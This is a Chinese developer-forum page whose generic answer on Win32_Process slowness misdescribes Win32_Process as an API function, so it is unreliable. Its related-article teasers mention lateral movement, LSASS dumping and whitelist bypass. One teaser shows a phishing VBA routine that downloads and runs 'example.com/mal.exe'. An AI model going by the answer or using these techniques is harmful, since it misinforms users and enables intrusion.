开发者社区

文档建议反馈控制台

最新优惠活动

文章/答案/技术大牛

发布

自Windows7 (2017)更新以来，Win32_Process运行缓慢

Win32_Process是Windows操作系统中的一个API函数，用于创建、管理和监控进程。它提供了一组函数和方法，允许开发人员在应用程序中与系统进程进行交互。

自Windows 7更新以来，一些用户报告称使用Win32_Process运行缓慢。这可能是由于多种原因导致的，下面是一些可能的原因和解决方法：

资源限制：Win32_Process可能需要大量的系统资源来执行操作，例如创建和终止进程。如果系统资源不足，可能会导致运行缓慢。解决方法是优化系统资源的使用，关闭不必要的后台进程或应用程序，增加系统内存等。
病毒或恶意软件感染：恶意软件可能会利用Win32_Process来隐藏自身或执行恶意操作，这可能会导致运行缓慢。建议使用安全软件进行全面扫描，并定期更新和运行杀毒软件以确保系统安全。
硬件问题：Win32_Process的性能也可能受到硬件问题的影响，例如硬盘故障、内存问题等。建议检查硬件设备的健康状况，并修复或更换有问题的硬件。
操作系统更新问题：有时，操作系统的更新可能会导致某些API函数的性能问题。建议确保操作系统和相关补丁程序是最新的，并查找是否有已知的问题和解决方案。

总之，如果Win32_Process在Windows 7更新后运行缓慢，建议优化系统资源的使用，确保系统安全，检查硬件问题，并确保操作系统和相关补丁程序是最新的。如果问题仍然存在，建议联系Microsoft支持或专业的系统管理员寻求进一步的帮助和支持。

腾讯云相关产品和产品介绍链接地址：

腾讯云服务器（CVM）：https://cloud.tencent.com/product/cvm
腾讯云安全中心：https://cloud.tencent.com/product/ssc
腾讯云云盾：https://cloud.tencent.com/product/yd
腾讯云云监控：https://cloud.tencent.com/product/monitor
腾讯云云解析DNSPod：https://cloud.tencent.com/product/cns

页面内容是否对你有帮助？

有帮助

没帮助

相关·内容

WMI 攻击手法研究 – 探索命名空间、类和方法 (第二部分)

本篇文章是 WMI 攻击手法研究的第二篇，主要研究 WMI 中的 3 个组件，在整篇文章中，我们将交替使用 WMI 和 CIM cmdlet，以便熟悉这两种 cmdlet 类型。

02

WMI ——重写版

本文是以WMI的重写版，本来这份笔记会更长，原版的笔记以Black Hat 2015的Abusing Windows Management Instrumentation (WMI) to Build a Persistent, Asyncronous, and Fileless Backdoor为主要学习资料，在笔记写到大概一万字的时候，Typora 中保存的内容部分丢失。于是重新整理，有了这份，我认为精简版的WMI笔记。

01

WMI技术介绍和应用——查询正在运行的进程信息

在《WMI技术介绍和应用——使用VC编写一个半同步查询WMI服务的类》一文中，我们介绍到了一个半同步查询WMI类的框架。本文将是该技术的一个应用，介绍如何使用WMI技术查询正在运行的进程信息。（转载请指明出于breaksoftware的csdn博客）

03

Windows WMI 详解之WMI ATTACK

当我们在拿到内网某一台机器权限时，第一时间要做的就是信息收集，WMI中的各种类为我们在内网信息收集方面提供了十分有利的条件，作为红队的我们可以利用如下WMI中各种类的子集来对目标进行全方面信息收集。

01

PS常用命令之系统WMI查看和操作相关命令

[TOC] 0x00 前言简述 Q: 什么是WMI? 答: WMI出现至今已经多年，但很多人对它并不熟悉。知道它很好很强大，但不知道它从哪里来，怎么工作，使用范围是什么？ WMI有一组API我们不管

01

WMI技术介绍和应用——接收事件

时隔两三年，再次更新WMI系列博文。好在功能在三年前就已经实现了，现在只要补充些实例即可。

01

windows下查看进程（进阶）

最近在搞appium（后续会总结一下），跑安卓的在windows上，经常启动进程，查看进程，学了一些实用的命令之前就知道一些命令，如下：

02

windows无exe

利用Windows自带的解析器：PowerShell、VBScript、批处理文件和JavaScript，对应的应用程序分别为powershell.exe、cscript.exe、cmd.exe和mshta.exe。利用上传或远程加载对应payload脚本，直接调用解析器运行（可以使用Invoke-Obfuscation或者 Invoke-DOSfuscation 等进行混淆）用Windows自带的工具或脚本等原生工具实现执行恶意代码、启动程序、执行脚本、窃取数据、横向扩展、维持访问等，常用的有regsvr32.exe、rundll32.exe、certutil.exe、schtasks.exe、wmic.exe等，脚本类型的有：winrm.vbs、wmiexec.vbs、pubprn.vbs等

02

windows通过命令行设置进程优先级

wmic process where name="process name" CALL setpriority "value"

03

WMI Series :管理对象的信息查询和方法访问

在这一节内容，我们将通过几个实例来学习如何查询管理对象信息和访问管理对象提供的方法，这一部分内容将使用到我们在前面讲述到的 System.Management 命名空间中的相关类对象。

01

WMI利用(横向移动)

上一篇文章我们简单的解释了什么是WMI，WMI做什么，为什么使用WMI。本文是笔者在阅读国内部分的解释WMI横向移动的文章后写下的一篇文章，希望帮助同学们在攻防中进入横向移动后根据实际场景利用WMI来解决问题。在横向移动中的固定过程中一定离不开“信息收集”，然后分析信息根据实际场景（工作组或者域）来进行横向移动，至于使用什么工具，为什么使用这个工具，笔者使用WMI的意见。所以本文分为三个段落，信息收集、横向移动、部分意见。信息收集。

01

dotnet 通过 WMI 获取指定进程的输入命令行

使用下面代码，使用 Win32_Process 拿到所有的进程，通过 WHERE 判断当前的进程，然后拿到进程传入的命令

04

Windows WMI 详解（一）

WMI全称为Windows Management Instrumentation，即Windows管理规范，是Windows 2K/XP管理系统的核心。它属于管理数据和操作的基础模块，设计WMI的初衷是为了能达到一种通用性，通过WMI去操作系统、应用程序等去管理本地或者远程资源。它支持分布式组件对象模型（DCOM）和Windws远程管理（WinRM），用户可通过WMI服务访问、配置、管理和监视Windows所有资源的功能，对于其他的Win32操作系统来讲WMI是一个非常不错的插件，同时也是测试人员在攻防实战中一个很完美的“无文件攻击”入口途径。

01

WMI使用学习笔记

乌鸦安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。

03

绕过杀软进行横向移动

wmi是基于135端口进行的横向。依赖445只是因为，需要使用445取回命令执行结果。sharpwmi进行横向的时候火绒日志有一个特别有趣的地方：

02

VBA进程查找程序路径与命令参数

Function 进程路径(Optional exen) 'Debug.Print 进程路径("EXCEL.EXE") If IsMissing(exen) Then exen = "EXCEL.EXE" Set p = GetObject("WinMgmts:").InstancesOf("Win32_Process") For Each Pj In p If Pj.Description = exen Then 进程路径 = Pj.ExecutablePath Next End Functi

03

.NET/C# 获取一个正在运行的进程的命令行参数

在自己的进程内部，我们可以通过 Main 函数传入的参数，也可以通过 Environment.GetCommandLineArgs 来获取命令行参数。

01

Python wmi 模块的学习

# -*- coding:utf-8 -*- import datetime import os import wmi import time import _winreg import pythoncom import threading import win32api import win32con import Queue c = wmi.WMI() # 如果要连接远程机器，只需要在WMI构造器中指定远程机器名即可 # c = wmi.WMI("some_other_machine") # Li

02

工具使用 | WinRM远程管理工具的使用

WinRM是Windows Remote Managementd（Windows远程管理）的简称。它基于Web服务管理(WebService-Management)标准，WinRM2.0默认端口5985（HTTP端口）或5986（HTTPS端口）。如果所有的机器都是在域环境下，则可以使用默认的5985端口，否则的话需要使用HTTPS传输(5986端口)。使用WinRM我们可以在对方有设置防火墙的情况下远程管理这台服务器，因为启动WinRM服务后，防火墙默认会放行5985端口。WinRM服务在Windows Server 2012以上服务器自动启动。在WindowsVista上，服务必须手动启动。WinRM的好处在于，这种远程连接不容易被察觉到，也不会占用远程连接数！

02

初学者下载使用Python遇到的问题看它

首先在python管网（www.python.org)中找到对应的版本与系统，以（window7系统64位python3.7.3为例）

03

利用Winrm.vbs绕过白名单限制执行任意代码

winrm.vbs（一个位于system32目录下的具有Windows签名的脚本文件）可以被用来调用用户定义的XSL文件，从而导致任意的、没有签名的代码执行。当用户向winrm.vbs提供'-format:pretty'或者'-format:text'参数时，winrm.vbs将从cscript.exe所在目录读取WsmPty.xsl或Wsmtxt.xsl文件。这意味着若将cscript.exe拷贝到攻击者可以控制的目录下，并将恶意的XSL文件也置于相同路径中，攻击者将可以绕过签名保护而执行任意代码。这个攻击手段和Casey Smith的wmic.exe技术很相像。

04

规避检测（共五章）：第五章

沙盒模拟通常持续很短的时间，因为沙盒加载了数千个样本。仿真时间很少超过3-5分钟。因此，恶意软件可以利用这一事实来避免检测：它可能会执行在开始任何恶意活动之前长时间延迟。

02

WMI技术介绍和应用——Instance/Method Provider

在《WMI技术介绍和应用——事件通知》一文中，我们提到了提供者（Provider）这个概念。我们还是要引入WMI的结构图（转载请指明出于breaksoftware的csdn博客）

03

横向移动之WinRM横向移动

"Windows远程管理(WinRM)"是WS-Management协议(Web Services for Management，又名WSMan)的Microsoft实现，WS-Management Protocol是基于标准简单对象访问协议(SOAP)的对防火墙友好的协议。运行来自不同硬件和操作系统的硬件和操作供应商，以实现互操作（Microsoft Docs）。

01

Python 判断一个进程是否存在

#-- coding:utf-8 -- import win32com.client def check_exsit(process_name): WMI = win32com.client.GetObject('winmgmts:') processCodeCov = WMI.ExecQuery('select * from Win32_Process where Name="%s"' % process_name) if len(processCodeCov) > 0:

03

利用WinRM实现内网无文件攻击反弹shell

WinRM是WindowsRemoteManagementd（win远程管理）的简称。基于Web服务管理(WS-Management)标准，使用80端口或者443端口。这样一来，我们就可以在对方有设置防火墙的情况下远程管理这台服务器了。

02

WinRM的横向移动详解

横向的手法从简单的远程桌面协议（rdp）到漏洞利用，手法不断在改变，要对抗的设备产品也不断地变化，有个技术主管问我，红蓝的快乐在于什么？为什么我钟情在红蓝。我想中快乐就是来自于对抗吧。

01

WMI 攻击手法研究 – 识别和枚举 (第四部分)

这是 WMI 攻击手法研究系列文章第四篇，将更多地关注信息收集和枚举。WMI 提供了大量的类，可以从中列举出很多东西。因此，让我们来深入了解，不要再浪费时间了。

03

dump LSASS

进程的内存空间中存储的域，本地用户名和密码称为LSASS（本地安全机构子系统服务）。如果在目标上具有一定的权限，则可以授予用户访问LSASS的权限，并且可以提取其数据以进行横向移动和特权升级。

03

GadgetToJScript在VBA中的利用

https://www.shutingrz.com/post/explore-dotnet-serialize-g2js/

02

Windows下使用VS2019和CMake 3.18.3编译使用yaml-cpp库

通常在程序设计中采用xml、ini、yaml、json等配置文件比较多。在Java的SpringBoot项目中通常采用yaml或者yml文件作为应用的配置项。由于本人在实际项目中采用C++编写控制台程序的过程中使用yaml文件比较多，目前使用比较的多的就是yaml-cpp这个C++ yaml解析库了。之前写过两篇关于在CentOS7下编译yaml-cpp库和Windows10下使用VS2017编译和使用yaml-cpp库的文章。最近实际项目中换成了最新版的Visual Studio 2019，我使用的Windows系统是Win7和Windows10，所以需要重新编译基于VS2019下的yaml-cpp的Debug和Release版本的Win32的静态lib库，大体步骤和Windows10下使用VS2017编译和使用yaml-cpp库这篇博客描述的一致。

02

Excel催化剂开源第47波-Excel与PowerBIDeskTop互通互联之第一篇

此篇对应功能实现出自：第3波-与PowerbiDesktop互通互联（Excel透视表连接PowerbiDesktop数据模型）https://www.jianshu.com/p/e05460ad407d

04

如何检测当前操作系统是否支持运行 .NET Core 3 / .NET 5 / .NET 6 应用？

虽然微软官方声称 .NET Core 3 / .NET 5 / .NET 6 应用支持在 Windows 7 及以上运行，但你不应该轻信。因为微软还在某个隐秘的角落里说明还应安装一枚 KB2533623 补丁。

02

PICUS RED TEAM部分题解

害，昨天发的题目留言区也没人聊聊思路，还是我来吧。事件原因这里只介绍部分题解，如有兴趣回头整理一份完整的wp发出来。

02

winrm不指定端口远程即可执行命令

远程攻击的手法应该比较多，有的不需要指定远程端口，只要remote desktop services是监听的，就能一直攻击

06

横向移动 - WMI 的使用

自从 PsExec 在内网中被严格监控后，越来越多的反病毒厂商将 PsExec 加入了黑名单，于是黑客们渐渐开始使用 WMI 进行横向移动。

03

一个简单的挖矿病毒分析

CMD 命令行.txt，start.ps1，1.ps1，knbhm.jpg，svchost.exe

04

qq刷屏代码如何停止(微信刷屏代码vbs)

最近有些人向小编反应QQ刷屏代码没办法关，小编认为有必要发布一下关程序的代码，专门针对上次的QQ刷屏代码：

03

怎么制止qq刷屏代码-vbs「建议收藏」

最近有些人向小编反应QQ刷屏代码没办法关，小编认为有必要发布一下关程序的代码，专门针对上次的QQ刷屏代码：

01

病毒代码「建议收藏」

可以用来运行一下，你的电脑可能会发生……但大家都知道，病毒是恐怖的，你可以做一些有趣的代码.

05

Lateral Movement之WMI事件订阅

在之前，我曾在安全客分享过《wmi攻击与防御》的相关议题。里面介绍了关于wmi的一些相关内容，其中提到了使用wmi进行横向移动的方法，只是当时由于时间原因并未对细节进行讲解，在成熟的企业内网中，如何优雅的进行横向移动是需要每个安全人员需要去注意的点。比如如何使用CobaltStrike、Impacket等工具进行横向移动时最小化操作的技巧等。本文将讲解如何使用wmi事件订阅来进行横向移动。

02

PyQt5 安装商业版

使用Visual Studio是为了它的编译工具和相关库。安装时选上Windows SDK。

02

C/C++ 运用WMI接口查询系统信息

Windows Management Instrumentation（WMI）是一种用于管理和监视Windows操作系统的框架。它为开发人员、系统管理员和自动化工具提供了一种标准的接口，通过这个接口，可以获取有关计算机系统硬件、操作系统和应用程序的信息，以及对系统进行管理和控制的能力。

05

狩猎二进制重命名

ATT&CK 技术项编号为 T1036 的二进制重命名技术，正在被越来越多的恶意软件所采用，本文介绍如何使用多种方法对该技术进行监控与检测。

02

解挂磁盘失败，Kernel-PnP日志显示Taskmgr.exe阻碍

taskmgr阻碍解挂磁盘，参考https://cloud.tencent.com/developer/article/1938747 处理

01

红队技巧-常规横向手法

域内横向移动技术是红队作战在域内最基本技术之一，红队人员会利用该技术，以被攻陷的系统为跳板，通过已经收集的凭据和密码，来访问域内其他主机，扩大战果，最终目的是获取到dc的访问控制权限。

02

Vbs脚本编程简明教程

◎Vbs脚本编程简明教程之一 —为什么要使用Vbs？

05

C#通过WMI的wind32 的API函数实现msinfo32的本地和远程计算机的系统摘要信息查看功能

最近做一个项目碰到要实现查看本地和远程计算机的摘要信息，采用命令行msinfo32可以很快查看到，如下图：需要在用C#来实现类似信息查看。尤其远程计算机的。。因此通过MSDN查询到。win32的AP

05

钓鱼常用的vba代码

点击上方蓝字关注我们下载并执行程序 Private Sub DownloadAndExecute() Dim droppingURL As String Dim localPath As String Dim WinHttpReq As Object, oStream As Object Dim result As Integer droppingURL = "https://example.com/mal.exe" localPath = "c

04

扫码

添加站长进交流群

领取专属 10元无门槛券

手把手带您无忧上云

扫码加入开发者社群

相关资讯

热门标签

活动推荐

运营活动

活动名称

广告关闭